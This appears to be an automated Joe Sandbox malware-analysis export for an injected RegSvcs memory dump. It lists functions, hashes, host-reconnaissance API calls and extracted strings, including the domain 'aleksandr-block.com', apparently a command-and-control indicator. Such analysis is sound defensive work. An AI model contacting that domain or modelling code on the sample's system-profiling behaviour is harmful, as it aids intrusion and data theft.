Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: [
API String ID: 3960555810-784033777
Opcode ID: 7f03625f0f234d9311ea92f0fff066ed3930a5f7d6642aec2e7e48191c1adaaa
Instruction ID: 5e94c3e6392dfdb4fe2f95aaa4212b5eb687c90d40dd3ea95689f2bdc07e382e
Opcode Fuzzy Hash: 7f03625f0f234d9311ea92f0fff066ed3930a5f7d6642aec2e7e48191c1adaaa
Instruction Fuzzy Hash: 25B1277050C3D28AD739CF2AD4607ABBFD0AF96304F5849AEC4C98B382D7794506CB56

Function 0040AEC0 Relevance: 2.7, Strings: 2, Instructions: 249COMMON

Download Yara Rule

Strings

$, xrefs: 0040B048
'P, xrefs: 0040B05C

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: $$'P
API String ID: 0-3739442336
Opcode ID: cf9b03eddff39dabedfc0ba2780abb16924720ce44bfe62193036bbb287e3045
Instruction ID: 250af7dd5073492f913882752ade9a5b6bb6065925059aa04dfc985763a53cd2
Opcode Fuzzy Hash: cf9b03eddff39dabedfc0ba2780abb16924720ce44bfe62193036bbb287e3045
Instruction Fuzzy Hash: 07B120B5505B008FD334CF2AD891B97BBF1BB95314F148A2CD5AA8BA90DB75B406CF84

Function 0042EA61 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042EB77

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 67358821e667b824251135697af9d6f6c0b97ee35f9266ecd0359f3eee7304f3
Instruction ID: 76a10fbfb8979de461f9c11c17174af944d07184230f26758513f9810c545aaf
Opcode Fuzzy Hash: 67358821e667b824251135697af9d6f6c0b97ee35f9266ecd0359f3eee7304f3
Instruction Fuzzy Hash: EAA1157060C3918BD739CF2AD4607EBBFD0AF96304F5889AEC4C98B392D77945058B5A

Function 0043FCF0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00442ECD,?,00000018,?,?,00000018,?,?,?), ref: 0043FD1E

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043E560 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

qz{8, xrefs: 0043E5E0

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: qz{8
API String ID: 0-1332276672
Opcode ID: bcd88d49738dc51f3c2d1478d06964edcd2205efb652cf0ee7cfccec4e54270a
Instruction ID: 8a47e477f9ea8c9a62da4d2038802ea537a173497f7d635a8f510b87fbe218ca
Opcode Fuzzy Hash: bcd88d49738dc51f3c2d1478d06964edcd2205efb652cf0ee7cfccec4e54270a
Instruction Fuzzy Hash: E4515E35B057105BD7209E29D88172BB7D1ABC9738F29972DECA8673D1E3349C0287D5

Function 00441EC0 Relevance: 1.3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

Strings

@, xrefs: 00441F27

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: bb3244f89264dae0eedccc48ea3249780dae7d5a8488c4838dcc95fedf7f96bb
Instruction ID: 604fb159ac4a9ce657edd39fe3aca4406f262885f72d090489293974a6e9e70b
Opcode Fuzzy Hash: bb3244f89264dae0eedccc48ea3249780dae7d5a8488c4838dcc95fedf7f96bb
Instruction Fuzzy Hash: 3621D4755043049FD314DF08D8C167BB7F5EB86324F249A2DF968473A0D375984D8B9A

Function 00427B30 Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f8d6b63512e8766a6f7a1fef200e15a03f1bd5b6045c5a7b5f870415da9299bd
Instruction ID: 5d9cf6149d12638203344b5f73ba6df9c60d3e5b1c8a76498b2e7280274bb1d1
Opcode Fuzzy Hash: f8d6b63512e8766a6f7a1fef200e15a03f1bd5b6045c5a7b5f870415da9299bd
Instruction Fuzzy Hash: B4715C71B083245BD7109F25EC91A3BB7E5DF86318F98893EE8854B382E33D9C058799

Function 00420B20 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b0700ae82778aa9d4f9d0e781d3d2541164e8ace227691c7232703d55d16cbf
Instruction ID: 9fa7ab4002a41123cf54beea95e1f95dedbf20a3aa8f7df36aa68369611d644e
Opcode Fuzzy Hash: 9b0700ae82778aa9d4f9d0e781d3d2541164e8ace227691c7232703d55d16cbf
Instruction Fuzzy Hash: A82149A1A242108BC7249F29DC5253BBBF1EF96364F99862DE081DB395F33CD800C35A

Function 0040BA1B Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f319d67805dceea3de0b5f768977ed6000cc649301a0af37d96768635167819f
Instruction ID: 26f8e3a5bcad9dec925031162f9977a2434f5784bea535da3da624853f55d13a
Opcode Fuzzy Hash: f319d67805dceea3de0b5f768977ed6000cc649301a0af37d96768635167819f
Instruction Fuzzy Hash: 9A21FF313893409FC7048F68D8D17AEFBE1EBC6314F05497DE196A3382D6B894069B0A

Function 0043FB02 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb7bebc6e5da23d2039601f6ccc883706f8ecb15145e02b1af65aacb3f0a5d22
Instruction ID: f2a58080112dea700b2392337a5e0c2e2a3fc57ad19095bda6f71d252ba2d165
Opcode Fuzzy Hash: bb7bebc6e5da23d2039601f6ccc883706f8ecb15145e02b1af65aacb3f0a5d22
Instruction Fuzzy Hash: 8A01A7B460D741EFC318CF29DC6162BB6E5AB86700F14D93CE095A7265DB30E505CB4A

Function 0040DE1E Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 297
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040DE33

Strings

YZ,F, xrefs: 0040DED9
4FFp, xrefs: 0040DEFA
[<X2, xrefs: 0040E158
N, xrefs: 0040DF1B
aleksandr-block.com, xrefs: 0040E20E
W^ON, xrefs: 0040DEE4
KH(`, xrefs: 0040DF30
45*, xrefs: 0040E16E
zr, xrefs: 0040E0DF

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: Uninitialize
String ID: 45*$4FFp$KH(`$N$W^ON$YZ,F$[<X2$aleksandr-block.com$zr
API String ID: 3861434553-1313545833
Opcode ID: c6ea8ddb5f1b8a46b9ddb9424fc61477f8a98903492f8408f539fa12a29fae86
Instruction ID: ddca04a3b4ed3e7cf71d585f5829f1aeef5847c078786ae6476367993996384b
Opcode Fuzzy Hash: c6ea8ddb5f1b8a46b9ddb9424fc61477f8a98903492f8408f539fa12a29fae86
Instruction Fuzzy Hash: 72A10FB45093D18ED734CF26C5947EBBFE1AF93304F18496EC4D96B282C679050A8B9B

Function 0042E0E3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042E119
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042E21A

Strings

Mw, xrefs: 0042E119

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: Mw
API String ID: 2904949787-2910736759
Opcode ID: ad6d37407eaf66c5865a47cf023656043b858ff5e7d6d8b13bb4dd900386f98b
Instruction ID: e9d609a63258c5784c381411e9d7cc2200530e3a4b07fbf007865332cc1b6aad
Opcode Fuzzy Hash: ad6d37407eaf66c5865a47cf023656043b858ff5e7d6d8b13bb4dd900386f98b
Instruction Fuzzy Hash: 053129326483A08BD7358F3998847E7BBE0EB96305F48467ED8CDA7291D7794806C792

Function 0042E0E1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042E119
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042E21A

Strings

Mw, xrefs: 0042E119

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: Mw
API String ID: 2904949787-2910736759
Opcode ID: 9d7b1d6b9d9a8eca1b51d83a657aba0d57305fc84ddbb6153957d88797b9adb1
Instruction ID: 4e07e5142bf27db904b1b90a512ce8b3a58ae695ad4665973910c49be3074c7b
Opcode Fuzzy Hash: 9d7b1d6b9d9a8eca1b51d83a657aba0d57305fc84ddbb6153957d88797b9adb1
Instruction Fuzzy Hash: 38218A3264836087D7348F359C807EB7BE0EB86304F48467ED889AB291C7394C028792

Function 0042F933 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,$zHa,00000100), ref: 0042FA44

Strings

$zHa, xrefs: 0042F9EE

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: ComputerName
String ID: $zHa
API String ID: 3545744682-1432854064
Opcode ID: bc6777cfc484f4a3c740225f5b45fe02c5876dd073b81dabbde2235a3ef46995
Instruction ID: 007c472596e221bb46d7e75f8c6a96d6a5c7963fde98443833c381d4f14149ac
Opcode Fuzzy Hash: bc6777cfc484f4a3c740225f5b45fe02c5876dd073b81dabbde2235a3ef46995
Instruction Fuzzy Hash: A6215772A596A14BD73CCF34C8653ABB7E1EB85310F19857E89CA97380CB785805CB82

Function 0043906B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00439091

Strings

Dv{x, xrefs: 004390C5

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: Dv{x
API String ID: 95929093-4149960103
Opcode ID: 6c9cbfcb65a08d5cb1a996a5a98ef89e80667baa4b8eb0579d8837e5f80c4790
Instruction ID: 34eb4c8e9c1889207685da6326566da12b062bc8a59a7589b5c1d2c8763f04f6
Opcode Fuzzy Hash: 6c9cbfcb65a08d5cb1a996a5a98ef89e80667baa4b8eb0579d8837e5f80c4790
Instruction Fuzzy Hash: 20112731A0A1948FEB18CB38CC94B997BB2AF9A300F1881EDC94E97390DA355D45CF11

Function 0042E09A Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042E21A

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: e28a404809dc2c27f79d6333fb0c10cff3ff816b03cb9ec7a3b7b8f71d97a8cf
Instruction ID: d9e091aa906868c9eb053a5388f698ffddd4bf5e076f54f0e781b123d8cdbaa0
Opcode Fuzzy Hash: e28a404809dc2c27f79d6333fb0c10cff3ff816b03cb9ec7a3b7b8f71d97a8cf
Instruction Fuzzy Hash: DD214C3265836047D734CB359C807E77BE0EB86315F49467EDC89AB391D6794C068792

Function 0043FEB4 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043FF55

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 16afca867b0e680a57db6c56a49a54c2592310970568051fcf881583c76dad0c
Instruction ID: 1c1f3dc44c5ae7dc7caa8d600c57aaa1321de3a1b71d1d0007c67adbb3cc8cb0
Opcode Fuzzy Hash: 16afca867b0e680a57db6c56a49a54c2592310970568051fcf881583c76dad0c
Instruction Fuzzy Hash: 4701263AB551414B974CCB34EC924EB77E3E792315B48A83ED152C33A1EE38D4098B0A

Function 0043FC80 Relevance: 1.5, APIs: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 0043FCC0

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8f7a576a644c72263d4f8468adaf5b141446d25f7ecc8601963828de74b426b7
Instruction ID: af8cdebbac548c628585b1a1278c66346c3195d30f98a2260abe551c9b2879ca
Opcode Fuzzy Hash: 8f7a576a644c72263d4f8468adaf5b141446d25f7ecc8601963828de74b426b7
Instruction Fuzzy Hash: 71F0E576815211EBD2002F26BD06A1B3A78EFCA768F015876F400A61A5E739D802C5DA

Function 004357CC Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00435815

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 604e50b64b196f50df65a7806b51480d98a324279fd4725d15acbb073fd2bee7
Instruction ID: 0c557ba6974eabaec60999c9f7a8d7657af349d6b6155683b2f99b263904d6ff
Opcode Fuzzy Hash: 604e50b64b196f50df65a7806b51480d98a324279fd4725d15acbb073fd2bee7
Instruction Fuzzy Hash: 8F01ECB8605701CFD304DF64D498B56BBF1FB89304F10885DE5958B350C7769948CF82

Function 00432F73 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432FC1

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 138d42a456181d8e723b18e52baaca6003121fb282e3c4b603724a0f86ea579e
Instruction ID: c515839c574f403de4f41ffb91265ad2b8511d28c4073785b4701dcd883de871
Opcode Fuzzy Hash: 138d42a456181d8e723b18e52baaca6003121fb282e3c4b603724a0f86ea579e
Instruction Fuzzy Hash: 93F09EB4508701CFE311DF24D1A471ABBF4FB85308F11885CE5958B390C7769949CF82

Function 0040CAC0 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CAD3

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 53281d4fb6c8f560b1a7d5334f2b4776c18066f718c7f87dd48690797b366cb8
Instruction ID: 088116dd6bfe9997d9702f82d158d78b0d274b6201ac13d2327d95c3e7fdeef5
Opcode Fuzzy Hash: 53281d4fb6c8f560b1a7d5334f2b4776c18066f718c7f87dd48690797b366cb8
Instruction Fuzzy Hash: D6E02B36BD410817D304571CFC07F46362A93C3729F989335B551D2BDADD399905C29A

Function 0040CAFE Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CB10

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: fae2b4ef14b40100722e6b1385ca334babadcaf0a1dea3a7a22989337f6dfc94
Instruction ID: dbfd3db00dccbd658f76e0afe681c16c9087ac9d599db6cc1580d8e2bd5be504
Opcode Fuzzy Hash: fae2b4ef14b40100722e6b1385ca334babadcaf0a1dea3a7a22989337f6dfc94
Instruction Fuzzy Hash: 9CD0C9383C8340BBF6258B08EC53F1432506706F21F300A24B363FE6E0CAD072028A0D

Function 0043E530 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00F17650,00414620,00000000), ref: 0043E550

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 239918f78c9f47c590e4119ee476ed02e9baf902ff5a2db6c4b0f1e314cded60
Instruction ID: bc1c1f1268a57b82eea8d6520593c5a24597083c1513a26da4f791fd7a00ff56
Opcode Fuzzy Hash: 239918f78c9f47c590e4119ee476ed02e9baf902ff5a2db6c4b0f1e314cded60
Instruction Fuzzy Hash: ABD0C931805522EBCA103B18BC06BD73A98EF4A3A1F0708A2F404AA075C764DCD1CAD8

Function 0043E510 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,C9C82FCE,A16C1943,00408A15,C9C82FCE), ref: 0043E520

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7ed48fcc3211810d2bf55372ce7140ad68aad3c79546a2b5dfb2280ebcf1b8d7
Instruction ID: 1c3d676bf31bbb2ed4fd66d857f325aee7a173f4f8010ab51c870f528ceae898
Opcode Fuzzy Hash: 7ed48fcc3211810d2bf55372ce7140ad68aad3c79546a2b5dfb2280ebcf1b8d7
Instruction Fuzzy Hash: AAC04C31445120AAD9142B15EC05BC63A58EF453A5F020496B004A60718660ACC18698

Non-executed Functions

Function 00425870 Relevance: 19.5, Strings: 15, Instructions: 726COMMON

Download Yara Rule

Strings

(\*b, xrefs: 00425C88
=L)R, xrefs: 00425C5C
TuZ, xrefs: 00425C72
*@2F, xrefs: 00425C3B
I<JB, xrefs: 00425C30
?9, xrefs: 00426420
30, xrefs: 00426238
P*V, xrefs: 00425C67
u$q*, xrefs: 00425BEE
Z,[2, xrefs: 00425C04
N, xrefs: 00425B94
a8\>, xrefs: 00425C25
E0T6, xrefs: 00425C0F
E4A:, xrefs: 00425C1A
w(n., xrefs: 00425BF9

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: P*V$ TuZ$(\*b$*@2F$30$=L)R$E0T6$E4A:$I<JB$N$Z,[2$a8\>$u$q*$w(n.$?9
API String ID: 0-1979296878
Opcode ID: 489b6de9202c373bb95070ab42b7b1f77723d0f61a6c241868b3332100412a05
Instruction ID: 2b8434fb23be42c2229ebff7041f95e6f9335be2fa966f6059b81d381bcb10d9
Opcode Fuzzy Hash: 489b6de9202c373bb95070ab42b7b1f77723d0f61a6c241868b3332100412a05
Instruction Fuzzy Hash: B57250B560C3908AD334CF20D842B9FBBF2EB92304F408D2DD5D9AB252D6758946CB97

Function 00428AF7 Relevance: 13.0, APIs: 3, Strings: 4, Instructions: 723COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00428BED
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00428D1D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00428DC3

Strings

'0 6, xrefs: 00429019
O"8+, xrefs: 0042905A, 00429097, 0042909B
G-A, xrefs: 00428C70
kC7+, xrefs: 00429021

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: '0 6$O"8+$kC7+$G-A
API String ID: 237503144-151028999
Opcode ID: 47bac9d48446258787c076326c11028b097225ca561a3b7edf1add11471e0e69
Instruction ID: 20951de620bd2d918c2d75d64f094f946adcd2781b59edb95cd00fc00426b2ba
Opcode Fuzzy Hash: 47bac9d48446258787c076326c11028b097225ca561a3b7edf1add11471e0e69
Instruction Fuzzy Hash: 5C42CB75608341DFE314CF25E88072BBBE2FF8A314F18896DE5958B2A1DB759C41CB4A

Function 0042D2E0 Relevance: 12.7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

Strings

9;"=, xrefs: 0042D40C
Y, xrefs: 0042D4F2
Cf4/, xrefs: 0042D422
93SE, xrefs: 0042D417
2X+-, xrefs: 0042D3E0
IIF@, xrefs: 0042D34A
^;:, xrefs: 0042D37D
ZNGG, xrefs: 0042D360
q;:, xrefs: 0042D3C7
EVFt, xrefs: 0042D355

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID: 2X+-$93SE$9;"=$Cf4/$EVFt$IIF@$Y$ZNGG$^;:$q;:
API String ID: 0-1314670452
Opcode ID: 7b458d550250e0f052648921b97fbc93dd4c06b2e262ff0037e145e505ab822c
Instruction ID: 017dd21b7c1423e257ddf19562dbb1ef7023a09f108efc3fe981e4995990c983
Opcode Fuzzy Hash: 7b458d550250e0f052648921b97fbc93dd4c06b2e262ff0037e145e505ab822c
Instruction Fuzzy Hash: 8071AEB490D3E08AD7358F2994A03EBBBE1AFD7304F588A5DC4D91B341CBB944058B97

Function 00410F7A Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 489COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 00411121

Strings

q, xrefs: 004114CF
q, xrefs: 00410FD9
o, xrefs: 00411487
(, xrefs: 00411150
R, xrefs: 00410F8D
d, xrefs: 0041130D

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ($R$d$o$q$q
API String ID: 237503144-1691954368
Opcode ID: 073a64fe9837ac3120a454bc136193d83e9edf410115716ed01ccf3c7377896a
Instruction ID: 4b5a347bdde5173eb79e7477f591f974fd83916709c899c05682b225eed660d0
Opcode Fuzzy Hash: 073a64fe9837ac3120a454bc136193d83e9edf410115716ed01ccf3c7377896a
Instruction Fuzzy Hash: 3612A47550C7808BD3249F38C4917EFBBE1AFC9364F184A2EE5D987392D67884468B47

Function 00419000 Relevance: 11.4, APIs: 2, Strings: 4, Instructions: 870COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00419477
FreeLibrary.KERNEL32(?), ref: 004194B9

Part of subcall function 0043FCF0: LdrInitializeThunk.NTDLL(00442ECD,?,00000018,?,?,00000018,?,?,?), ref: 0043FD1E

Strings

q;t9, xrefs: 004193CB
Mw, xrefs: 00419477, 004194B9
g`a&, xrefs: 004195A5
C;t9, xrefs: 00419377

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: C;t9$g`a&$q;t9$Mw
API String ID: 764372645-1637664290
Opcode ID: de5861658b0b11ae760b0e4fe66a7bab44178424747e39c32623664331fa80eb
Instruction ID: 3ffc40e8ecfac7351e4b3f588e98115927f77612834decca1a02964a46056ac6
Opcode Fuzzy Hash: de5861658b0b11ae760b0e4fe66a7bab44178424747e39c32623664331fa80eb
Instruction Fuzzy Hash: E6521774609340ABE724DF15C8A076BBBE2EFC5714F284A2DF495473A1D3399C86CB4A

Function 00425470 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 188COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 00425548

Strings

}O, xrefs: 004254BA
vs, xrefs: 004254AA
C@, xrefs: 004254B2

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: C@$vs$}O
API String ID: 237503144-3613062948
Opcode ID: 612be6679bc7c518d541a1a3bd86ff1bda2dfef51151766e8dc935e23222437a
Instruction ID: 229f61bd181e0d3e1816d5dac9f8e9b21ca4c795edffb3bcd82580893e2e3f3c
Opcode Fuzzy Hash: 612be6679bc7c518d541a1a3bd86ff1bda2dfef51151766e8dc935e23222437a
Instruction Fuzzy Hash: 236111B060C3559FE310CF259945B1FBBE5EB86714F40893DF8949B291C7B988068B97

Function 00424C50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

